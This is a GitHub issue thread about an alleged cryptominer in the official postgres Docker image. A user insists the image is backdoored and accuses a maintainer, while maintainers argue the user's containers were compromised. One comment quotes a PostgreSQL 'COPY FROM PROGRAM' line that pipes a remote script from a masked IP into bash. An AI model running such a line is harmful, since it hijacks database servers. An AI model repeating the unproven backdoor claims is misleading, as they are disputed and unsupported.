Closed Antender closed 3 years ago
tianon
commented
3 years ago I'm sorry you feel we were too hasty in closing the previous issue, but without some way to reproduce what you're claiming, we can only assume your infrastructure has been compromised.
Can you provide us a method to reproduce? Perhaps an executable to look for inside the published image?
Antender
commented
3 years ago Reproducing is actually really simple but takes some time: 1) Deploy image to a vm of your choice 2) Wait approximately 3 days 3) Docker image (postgres process specifically) spawns 8 child processes with autogenerated names 4 of which eat up lots RAM and CPU time (~100% load, tested on dual core vm) 4) Use lsof on postgres process to display outgoing http connection to port 8080 to malicious hetzner server (with apparently apache deployed). 5) Repeat steps 1 to 4 with all networking blocked except for outgoing connections to this botnet control server
Antender
commented
3 years ago Our own descendant image wasn't making any modifications to original Dockerfile except for one SQL file migration, so i think it's fair to say that problem would persist on ancestor image too.
tianon
commented
3 years ago I've got an instance I've been running for months and haven't seen this issue, so there's got to be more to it. Can you give us an exact command for running it? What specific steps are you taking to block networking in step five? A firewall in the VM, or changes to something external like a security group on the underlying hosting platform?
Antender
commented
3 years ago I've got an instance I've been running for months and haven't seen this issue, so there's got to be more to it.
Can't really trust your word on this one cause you're one of 2 top commiters here and probably (but not certainly!) added cryptominer in the image in the first place (if it IS in the image).
Antender
commented
3 years ago Using firewall in the VM software of your choice and not the guest OS would be the most bulletproof way, i think. The deployment command was the usual one we use, "docker login" to our registry then "docker swarm deploy". Yes, you can invent some more improbable theories like "your CI structure is also compromised!", but, please, use Occam's razor and investigate the simpler issue first.
tianon
commented
3 years ago I'm not really sure what to do to gain your trust here, but please help us help you. We need some way to reliably reproduce this -- to do so, we need the exact command you're running (especially port publishings), and exactly which firewall you're using.
The way that Docker is designed, when you publish ports from containers it uses iptables directly, which is what almost all Linux firewalls are based on. When it does so, by design it will bypass your firewall rules. See https://www.reddit.com/r/docker/comments/2fftmp/docker_will_bypass_your_firewall_by_default/ for one example (that isn't me, and isn't even recent -- 6 years ago) saying this same thing. You really cannot trust a firewall within the VM to block Docker from exposing the port. Can you please try reproducing without exposing a port on the container?
Antender
commented
3 years ago I'm not really sure what to do to gain your trust here, but please help us help you. We need some way to reliably reproduce this -- to do so, we need the exact command you're running (especially port publishings), and exactly which firewall you're using.
The way that Docker is designed, when you publish ports from containers it uses
iptablesdirectly, which is what almost all Linux firewalls are based on. When it does so, by design it will bypass your firewall rules. See https://www.reddit.com/r/docker/comments/2fftmp/docker_will_bypass_your_firewall_by_default/ for one example (that isn't me, and isn't even recent -- 6 years ago) saying this same thing. You really cannot trust a firewall within the VM to block Docker from exposing the port. Can you please try reproducing without exposing a port on the container?
I'm not talking about sandboxing using guest OS iptables (I stopped testing using it after previous Github discussion about ufw). We sandboxed the entire VM using VM-level settings.
And switched image in our usual CI infrastructure to bitnami one and that fixed the issue (the point you keep ignoring).
tianon
commented
3 years ago I'm trying to get down to the root cause of why switching to Bitnami's image fixed your issue. I'm not ignoring it, I'm trying to explore it, and you're not giving me enough information to do so.
Like I said above, I can't help you unless you help me. I have literally no incentive to embed a cryptominer in this image, and there are enough other folks in the community that review this work that attempting to do so would not go unnoticed. The amount of money we could get from a cryptominer absolutely pales compared to the loss of reputation, there's seriously no reason we would do so.
If you're not willing to have this discussion in good faith and try to help us figure out what's going on with your deployment and why switching fixed it, then I really don't know where to go from here. If you can't trust me long enough to reproduce the problem, how can I know you'll trust the solution? At this point, it honestly doesn't seem like you're interested in an actual solution within this repository, so what is the end goal here?
Antender
commented
3 years ago I've got an instance I've been running for months and haven't seen this issue, so there's got to be more to it. Can you give us an exact command for running it? What specific steps are you taking to block networking in step five? A firewall in the VM, or changes to something external like a security group on the underlying hosting platform?
Also your own server isn't proving that issue doesn't exist: i presume, you blocked every possible connection server could made to botnet control server, so malware couldn't start in the first place. I'm not trying to blame specifically you, I'm just asking to investigate image-related issue first before putting blame on network-related attack which is less probable.
Antender
commented
3 years ago The endgoal is to fix image for everyone who is not as skilled in networking as you (like myself) and trusts public "official" image. And stop someone from profitting from mining, obviously. Firewalling everything kinda fixes symptoms but isn't solving the underlying suspected cause.
ImreSamu
commented
3 years ago Docker hub image for version 12.4 contains cryptominer [Confirmed!]
I am using the postgis 12.4 image based on the official postgres:12.4 image.
My hypothesis to test:
Antender
commented
3 years ago My hypothesis to test:
* what language you are using - for connecting to Postgres ? * PHP? Nodejs, Python? * imho: Any programming library, [can be infected ](https://blog.sucuri.net/2018/01/malicious-cryptominers-from-github-part-2.html)
How is this supposed to be related if: 1) DB is in it's own container without any node.js code in it 2) Main postgres process spawns malicious child processes (so, presumably, postgres binary is the problem). 3) Child processes aren't using the normal postgres naming scheme for processes (which supports malicious binary theory)
wglambert
commented
3 years ago Without a way of reproducing the issue it would seem to be an instance of the running container being compromised similar to: https://github.com/docker-library/postgres/issues/664#issuecomment-653075532 https://github.com/docker-library/postgres/issues/446 https://github.com/docker-library/redis/issues/235#issuecomment-614442974 https://github.com/docker-library/redis/issues/226#issuecomment-587580445
I would guess that in using a different image your security settings were changed to thwart a repeat intrusion, or there is a delay with it being compromised (if no security settings were changed) As stated before everything the image can do innately is encompassed by the Dockerfile and Entrypoint available in this repo. Additionally if the image were innately compromised I would imagine there would be significantly more users encountering this issue, it seems to be limited to your environment
Antender
commented
3 years ago Without a way of reproducing the issue it would seem to be an instance of the running container being compromised similar to: #664 (comment)
446
docker-library/redis#235 (comment) docker-library/redis#226 (comment)
I would guess that in using a different image your security settings were changed to thwart a repeat intrusion, or there is a delay with it being compromised (if no security settings were changed) As stated before everything the image can do innately is encompassed by the Dockerfile and Entrypoint available in this repo. Additionally if the image were innately compromised I would imagine there would be significantly more users encountering this issue, it seems to be limited to your environment
1) "hacking" theory wasn't confirmed on SO. Everyone just assumed that's what happened and comments to question on SO suggest that the user of image was doing everything he can to mitigate the issue. 2) The same story. 3) and 4) We use no redis in our deployment.
Issue 2) was closed by @tianon without asking any questions to issue creator. And he was THE person who suggested the "hacking" theory every time without actually proving it in the first place.
In issue 1) nothing proves that postgres file wasn't infected. Basically, the image user just blocked outside world connections (which i admit is a good practice!) for the image and botnet couldn't start. The problem is that 1) by default the image isn't blocking connections (isn't fixable) 2) This isn't solving the issue for less networking-savvy users. 3) Distrubuting compromised images (IF it is compromised) is still a problem in itself.
I repeat: firewalling everything fixes symptoms but leaves all the people who haven't blocked botnet master server with a problem.
Before everyone repeats "hacking" theory another time the story goes like this: 1) For months we built images in our CI and they were behaving like this but the problem wasn't very annoying cause DB container almost always was short-lived. 2) We finally decided to fix the issues not by switching passwords on DB instance, not by changing the network configuration, but by switching to another base image with default settings 3) Problem magically disappears 4) Everyone still discusses network "hacking" theory instead of inspecting image contents. Astounding!
You can close the issue, we fixed it for ourselves. I can't care anymore and waste even more time on proving fringe theories when I have all the arguments in favor of postgres binary being compromised in the first place. Just be aware, that if you read this you should have been building your own image from the start and not relying on "official" images.
ImreSamu
commented
3 years ago Some links for the future readers - debugging similar issue .. :
https://www.alibabacloud.com/blog/is-your-postgresql-server-secretly-mining-digital-coins_593932 (2018)
COPY ... FROM PROGRAM 'curl http://1xx.1x.7x.1/1.sh | bash';https://www.zdnet.com/article/meet-the-scarlett-johansson-postgresql-malware-attack/ (2018)
https://dev.to/sanchitsharma/investigation-into-postgres-malware-hack-2ai0 (2020.Mar )
PostgreSQL Community response:
imho:
yosifkit
commented
3 years ago @Antender You are not communicating in good faith. There appears to be nothing we can do to help or satisfy you, and there are now other members of the community who are not directly contributing to this repository's code, trying to help you, and you're dismissing their attempts as well.
If we were trying to hide something nefarious like this, we would certainly not be trying to engage in a constructive dialog to figure out what's happening to your deployment -- we would instead block you and delete your issues to hide the evidence, neither of which has happened. However, if you persist in communicating in bad faith, you will be blocked (and your issues will remain because there's a lot of helpful feedback in here for users experiencing similar issues to try and diagnose their deployments, and we'll be happy to try and help them as much as we can if they come looking for it in good faith).
pbassut
commented
3 years ago Eh, hiding any kind of evidence would be what guilty people would do. At the same time, not hiding them, doesn't make you innocent. You can infer nothing from this. People using other's CPUs to their own benefit in OSS is something we should pay attention to but seems like the OP's just wants to point fingers. Who knows, maybe he was on to something here that the people in this thread wasn't even around when(if) it happened. It's interesting that we always mention "the work being revised by other open source contributors" but when it's revised(the goal of this very post) we try to hide it under the carpet(a term just to illustrate the situation, not necessarily happening here).
that's an interesting convo.
hasonhai
commented
2 years ago Yesterday, we just found a bitcoin miner from a container running postgres image with tag "latest", but it's weird that the digest of the image on local host does not match any images in the docker hub page.
Postgres was running fine a few days, then just suddenly started consumming CPU yesterday. We checked and found this file /tmp/kdevtmpfsi which was report as bitcoin minner related.
When searching for this file, we did not see it in the image of postgres, but it existed in the container that run postgres image. Both files /tmp/kdevtmpfsi and /tmp/kinsing exist in the container.
galvinw
commented
1 year ago I'd like to update that as of today, Aug 30 2023, there STILL IS a bitcoin miner in the image
erlangparasu
commented
1 year ago yosifkit
commented
1 year ago I'd like to update that as of today, Aug 30 2023, there STILL IS a bitcoin miner in the image
@galvinw, 🙏 Can you show where in a published image the cryptominer is; maybe by browsing the image contents via https://explore.ggcr.dev/? If there is one in your running system, but not in the image, then it likely means that you were taken advantage of with a less-than-secure setup. ❤️#hug-ops
To browse an image via explore.ggcr.dev, put in an image repo + tag which will take you to a page like this for postgres:latest. Then choose an architecture specific image in the image index, like amd64 and click on it's digest (like this). Then click on "layers" to browse the image (or one of the layer digests to browse only what was changed in that layer).
The Docker Official Images CI does not build any crypto currency miners into the images (or any scripts/binaries to install a miner). No Docker systems have any access to containers or databases you create with Official Images. The exact Dockerfiles used to build the postgres images are in this repo. See the oi-janky-groovy repo for all our Jenkins build pipeline definitions and our Jenkins build server for those build jobs in action. See our FAQ entry for how a change (in the docker-library/postgres repo) becomes a built image. You could even build them yourselves and see that the images are almost identical (barring timestamps and package versions available from Debian at the time it was run). You can also look at the entrypoint script and see exactly what process is started and that no background processes are started aside from postgres server on first initialization, which is then stopped once initialization is complete, and the script process is replaced (via exec) by a new postgres server running in the foreground:
If you do see a security issue or breach that you'd like to report privately, you can email doi@docker.com and security@docker.com
So, in our company we switched from this image to bitnami one (which is not technically "official" one) with minimal modifications to the descendant Dockerfile (basically 2-line fix, no changes in open ports or anything). This totally fixed the issue, no rogue processes in top, nothing. Therefore, i think this problem needs some further attention from maintainers.
P.S. Previous issue being hastly closed without waiting for investigation is pretty suspicious in itself, BTW. Related issue: https://github.com/docker-library/postgres/issues/767